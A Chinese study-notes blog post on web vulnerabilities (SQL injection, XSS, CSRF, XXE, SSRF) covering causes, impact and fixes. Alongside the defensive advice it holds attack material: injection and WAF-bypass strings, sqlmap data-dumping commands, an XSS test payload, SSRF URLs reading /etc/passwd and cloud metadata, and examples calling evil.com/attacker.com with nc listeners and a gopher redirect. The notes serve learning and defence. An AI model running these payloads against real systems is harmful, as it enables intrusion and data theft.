常见漏洞原理及修复方案

文章目录


前言

这里介绍一下常见的漏洞及其知识。

sql注入

sql注入原理

原理:所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。 造成SQL注入漏洞原因有两个:一个是没有对输入的数据进行过滤(过滤输入),还有一个是没有对发送到数据库的数据进行转义(转义输出)。

sql注入危害

1.数据库信息泄漏:数据库中存放的用户的隐私信息的泄露。

2.网页篡改:通过操作数据库对特定网页进行篡改。

3.网站被挂马,传播恶意软件:修改数据库一些字段的值,嵌入网马链接,进行挂马攻击。

4.数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员帐户被窜改。

5.服务器被远程控制,被安装后门:经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统。

6.破坏硬盘数据,瘫痪全系统。

sql注入防范

解决SQL注入问题的关键是对所有可能来自用户输入的数据进行严格的检查、对数据库配置使用最小权限原则。通常修复使用的方案有:

对输入进行严格的转义和过滤
使用参数化(Parameterized):目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重!

预编译:预编译:用占位符替代参数值,预先建立语法树。恶意语句不参与语法树的建立,所以不影响SQL语法,也就无法造成恶意注入。最初的目的是提高代码的复用性,因为有很多只有参数值不同的SQL(完全相同的SQL会从缓存里查)(预编译分为java和c,#include和#define就是与预编译头文件,Java为PreparedStatement(定义sql语句的参数)函数)

// SQL语句中的参数值,使用?占位符替代

String sql = "select * from user where username = ? and password = ?";

// 通过Connection对象获取,并传入对应的sql语句

PreparedStatement pstmt = conn.prepareStatement(sql);

sql绕过手法及常见注入手法

绕过waf手法:空格字符绕过,大小写绕过,内联注释绕过,双写绕过。

常见注入方式:
联合查询 :最常见的sql注入手法'order by ',union
报错注入extractvalue() ,updatexml() 语句
布尔盲注

1.使用 **length()**函数 判断查询结果的长度

2.使用 **substr()函数 截取每一个字符,并穷举出字符内容
延时注入(时间盲注):运用
sleep(5)**函数,使用" and sleep(5) -- qwe,发现页面延时5s后刷新,说明可以进行延时注入,if(1,sleep(2),sleep(0)),如果if中1为正确返回第二个值,错误返回第三个值,从页面刷新时间判定正确错误,两个时间差距要大一点,可能会因为网络问题导致判断出错。最后和布尔盲注一样进行字符猜解。

sqlmap常见使用方法

检测位置

-u -- 指定url(GET请求)

-p -- 指定参数(url包含多个参数时,指定参数)

--data= -- 指定POST请求参数

--cookie -- 指定cookie参数

-r -- 从文件中加载HTTP请求(在需要检测的Header后面加上*)

获取数据

--dbs -- 获取数据库名

--tables -- 获取表名

--columns -- 获取字段名

--dump -- 获取数据

-D -- 指定数据库

-T -- 指定表

-C -- 指定字段

GET请求注入:

sqlmap -u http://127.0.0.1/sqli/Less-1/?id=1

POST请求注入

sqlmap -u http://127.0.0.1/sqli/Less-11/ --data="uname=lisi"

COOKIE注入:

sqlmap -u xxx/index.php --cookie "uname=admin" --level 2 --dbs

HTTP请求头注入:

sqlmap -r target.vm --level 3 --dbs

xss

xss原理

XSS被称为跨站脚本攻击。主要基于JavaScript语言进行恶意攻击,因为js非常灵活操作html、css、浏览器。

XSS漏洞危害

恶意用户利用xss代码攻击成功后,可能会得到很高的权限,XSS漏洞主要有以下危害:

(1)盗取各种用户账号;

(2)窃取用户Cookie资料,冒充用户身份进入网站;

(3)劫持用户会话,执行任意操作;是指操作用户浏览器;

(4)刷流量,执行弹窗广告;

(5)传播蠕虫病毒。

XSS漏洞分类

XSS漏洞大概可以分为三个类型:
反射型XSS :定义:反射型XSS是非持久性、参数型跨站脚本。反射型XSS的JS代码在web应用的参数(变量)中,如搜索框的反射型XSS。
存储型XSS :存储型XSS是持久性跨站脚本,持久性体现在xss代码不是在某个参数(变量)中,而是写进数据库或文件等可以永久保存数据的介质中。存储型XSS通常发生在留言板等地方,我们在留言板位置留言,将恶意代码写进数据库中。
DOM型XSS:DOM型XSS比较特殊。owasp关于DOM型XSS的定义是基于DOM的XSS是一种XSS攻击,其中攻击的payload由于修改受害者浏览器页面的DOM树而执行的。其特殊的地方就是payload在浏览器本地修改DOM树而执行,并不会传到服务器上,这也就使得DOM型XSS比较难以检测。

XSS漏洞测试

javascript 复制代码
// An highlighted block
><script>alert(2222)</script> 输入该代码进行测试

xss防范

1.检查用户输入的数据中是否包含一些特殊字符,如<、>、'、"等,发现存在特殊字符,将这些特殊字符过滤或者编码。

例如:<转化为&It(实体编码)

2.字符串js编码转换成实体html编码的方法

3.在变量输出到HTML页面时,可以使用编码或转义的方式来防御XSS攻击。

实体编码:

下面展示一些 内联代码片

javascript 复制代码
// An highlighted block
<、>、&、'、"在xml中是特殊符号,需要用实体表示
<	&lt;
>	&gt;
&	&amp;
' 	&apos;
"	&quot;

csrf漏洞

csrf漏洞原理

CSRF(Cross-site Request Forgery,跨站请求伪造)是一种针对网站的恶意利用。

CSRF攻击可以利用用户已经登陆或已经授权的状态,伪造合法用户发出请求给受信任的网点,从而实现在未授权的情况下执行一些特权操作。

csrf漏洞流程图

csrf漏洞利用条件

1.用户成功登陆了网站系统,能执行授权的功能

2.目标用户访问了攻击者构造的恶意URL

csrf验证

bp上有csrf自动生成恶意代码功能,复制该代码到新建文件中,后缀改为html,在登录的情况下去点击该文件运行,如果实现修改操作则代表存在csrf漏洞。

csrf漏洞分类

GET型和POST型。

csrf漏洞危害

发送钓鱼邮件、盗用用户账号、网银转账、使用他人账号购买商品等,具体的危害跟存在漏洞的具体业务系统有关。

csrf漏洞防范

增加二次验证机制

在敏感操作时候,不再直接通过某个请求执行,而是再次验证用户口令或者再次验证类似验证码等随机数。如:转账时,要求用户二次输入密码。

校验HTTP Referer字段

校验HTTP Referer字段可以保证相关敏感操作来自授权站点的跳转。在HTTP协议中,定义了一个访问来源的字段,即HTTP_REFERER。站点可以在后端校验Referer是否来自于正常的站内跳转。如果攻击者诱导用户点击跳转链接,则Referer就为攻击者的主机,与网站内部内部跳转情况下的Referer字段不同。

增加Token参数进行校验

在敏感操作的参数中,增加完全随机的Token参数进行校验。这是目前业内防止CSRF攻击最常用的方法。因为CSRF产生的根本原因是,进行敏感操作时用户每次发送的请求都完全相同。因此,攻击者就可以把这样的请求进行封装包裹,诱导用户点击链接并发出请求。而如果在进行敏感操作时,增加完全随机的Token参数,每次进行敏感操作时发送的请求都不完全相同,攻击者也就没有办法伪造出一个合法的敏感操作请求,也就无法实施CSRF攻击。

注:csrf具体可以观看https://blog.csdn.net/xcxhzjl/article/details/121411039

XXE漏洞

XXE漏洞原理

XXE(XML External Entity Injection)全称为XML外部实体注入,由于程序在解析输入的XML数据时,解析了攻击者伪造的外部实体而产生的。例如PHP中的simplexml_load默认情况下会解析外部实体,有XXE漏洞的标志性函数为simplexml_load_string()。而学习XXE要从认识XML开始。

XXE漏洞详情

由于XXE知识量太大,这篇文章只做为笔记使用,在这里给大家推荐一篇xxe漏洞写的很好的文章

https://blog.csdn.net/weixin_44420143/article/details/118721145

ssrf漏洞

ssrf漏洞原理

一、SSRF是什么?

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。

一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)

ssrf流程图

经典服务端请求

有道词典开设了输入网址然后将网站的所有文字翻译的功能,这就相当于服务端请求伪造,只不过不能访问自身,因此没有危害。

产生SSRF漏洞的函数和URL的伪协议

函数file_get_contents :获取用户指定URL图片上传
sockopen() :获取用户指定URL文件上传
curl_exec() :cURL这是另一个非常常见的实现,它通过 PHP获取数据。文件/数据被下载并存储在"curled"文件夹下的磁盘中,并附加了一个随机数和".txt"文件扩展名。

注意

一般情况下PHP不会开启fopen的gopher wrapper

file_get_contents的gopher协议不能URL编码

file_get_contents关于Gopher的302跳转会出现bug,导致利用失败

curl/libcurl 7.43 上gopher协议存在bug(%00截断) 经测试7.49 可用

curl_exec() 默认不跟踪跳转,

file_get_contents() file_get_contents支持php://input协议

伪协议

当我们发现SSRF漏洞后,首先要做的事情就是测试所有可用的URL伪协议

file:/// 从文件系统中获取文件内容,如,file:///etc/passwd

dict:// 字典服务器协议,访问字典资源,如,dict:///ip:6739/info:

sftp:// SSH文件传输协议或安全文件传输协议

ldap:// 轻量级目录访问协议

tftp:// 简单文件传输协议

gopher:// 分布式文档传递服务,可使用gopherus生成payload

测试用例:

1、file

从文件系统中获取文件内容

http://example.com/ssrf.php?url=file:///etc/passwd

http://example.com/ssrf.php?url=file:///C:/Windows/win.ini

2、dict

这种URL Scheme能够引用允许通过DICT协议使用的定义或单词列表:

http://example.com/ssrf.php?dict://evil.com:1337/

evil.com:$ nc -lvp 1337

Connection from [192.168.0.12] port 1337[tcp/*]

accepted (family 2, sport 31126)CLIENT libcurl 7.40.0

3、sftp

在这里,Sftp代表SSH文件传输协议(SSH File Transfer Protocol),或安全文件传输协议(Secure File Transfer Protocol),这是一种与SSH打包在一起的单独协议,它运行在安全连接上,并以类似的方式进行工作。

http://example.com/ssrf.php?url=sftp://evil.com:1337/

evil.com:$ nc -lvp 1337

Connection from [192.168.0.12] port 1337[tcp/*]

accepted (family 2, sport 37146)SSH-2.0-libssh2_1.4.2

4、ldap://或ldaps:// 或ldapi://

LDAP代表轻量级目录访问协议。它是IP网络上的一种用于管理和访问分布式目录信息服务的应用程序协议。

http://example.com/ssrf.php?url=ldap://localhost:1337/ stats quithttp://example.com/ssrf.php?url=ldaps://localhost:1337/ stats quithttp://example.com/ssrf.php?url=ldapi://localhost:1337/ stats quit

5、tftp://

TFTP(Trivial File Transfer Protocol,简单文件传输协议)是一种简单的基于lockstep机制的文件传输协议,它允许客户端从远程主机获取文件或将文件上传至远程主机。

http://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET

evil.com:# nc -lvup 1337

Listening on [0.0.0.0] (family 0, port1337)TESTUDPPACKEToctettsize0blksize512timeout3

6、gopher://

Gopher是一种分布式文档传递服务。利用该服务,用户可以无缝地浏览、搜索和检索驻留在不同位置的信息。

http://example.com/ssrf.php?url=http://attacker.com/gopher.php gopher.php (host it on acttacker.com):-<?php header('Location: gopher://evil.com:1337/_Hi%0Assrf%0Atest');?>

evil.com:# nc -lvp 1337

Listening on [0.0.0.0] (family 0, port1337)Connection from [192.168.0.12] port 1337[tcp/*] accepted (family 2, sport 49398)Hissrftest

ssrf漏洞绕过

1.限制为http://www.xxx.com 域名时(利用@)

如:http://www.aaa.com@www.bbb.com@www.ccc.com,在对@解析域名中,不同的处理函数存在处理差异

在PHP的parse_url中会识别www.ccc.com,而libcurl则识别为www.bbb.com

2.采用短网址绕过

比如百度短地址https://dwz.cn/

3.采用进制转换

转为八或16进制

4.利用特殊域名

原理是DNS解析。xip.io可以指向任意域名,即127.0.0.1.xip.io,可解析为127.0.0.1

5.利用[::]

可以利用[::]来绕过localhost

http://169.254.169.254>>http://[::169.254.169.254]

6.利用句号

127。0。0。1 >>> 127.0.0.1

7.CRLF 编码绕过

%0d->0x0d->\r回车

%0a->0x0a->\n换行

进行HTTP头部注入

ssrf漏网危害

1.可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息;

2.攻击运行在内网或本地的应用程序(比如溢出);

3.对内网web应用进行指纹识别,通过访问默认文件实现;

4.攻击内外网的web应用,主要是使用get参数就可以实现的攻击(比如struts2,sqli等);

5.利用file协议读取本地文件等。.

6.各个协议调用探针:http,file,dict,ftp,gopher等

SSRF漏洞防御

通常有以下5个思路:

1,过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。

2, 统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。

3,限制请求的端口为http常用的端口,比如,80,443,8080,8090。

4,黑名单内网ip。避免应用被用来获取获取内网数据,攻击内网。

5,禁用不需要的协议。仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp:// 等引起的问题。

总结

仅用于个人记录学习,需要的时候反复观看,巩固基础。

参考资料

xss:https://blog.csdn.net/qq_56775626/article/details/126056516

csrf:https://blog.csdn.net/qq_43378996/article/details/123910614

xxe:https://blog.csdn.net/weixin_44420143/article/details/118721145

ssrf:https://blog.csdn.net/qq_43378996/article/details/124050308

相关推荐
奔跑吧邓邓子27 分钟前
【Python爬虫(44)】分布式爬虫:筑牢安全防线,守护数据之旅
开发语言·分布式·爬虫·python·安全
saynaihe28 分钟前
2025吐槽季第一弹---腾讯云EO边缘安全加速平台服务
运维·安全·云计算·腾讯云
RainbowSea1 小时前
9-1. MySQL 性能分析工具的使用——last\_query\_cost,慢查询日志
数据库·sql·mysql
Sui_Network1 小时前
Sui 如何支持各种类型的 Web3 游戏
大数据·数据库·人工智能·游戏·web3·区块链
豪宇刘1 小时前
从三个维度了解 RPC(Remote Procedure Call,远程过程调用)
网络·网络协议·rpc
ZKNOW甄知科技1 小时前
IT服务运营管理体系的常用方法论与实践指南(上)
大数据·数据库·人工智能
网络安全King2 小时前
devops 工具 网络安全
运维·web安全·devops
菩提云2 小时前
Deepseek存算分离安全部署手册
人工智能·深度学习·安全·docker·容器
黄雪超2 小时前
深入HBase——核心组件
数据结构·数据库·hbase
qq_529835354 小时前
Redis作为缓存和数据库的数据一致性问题
数据库·redis·缓存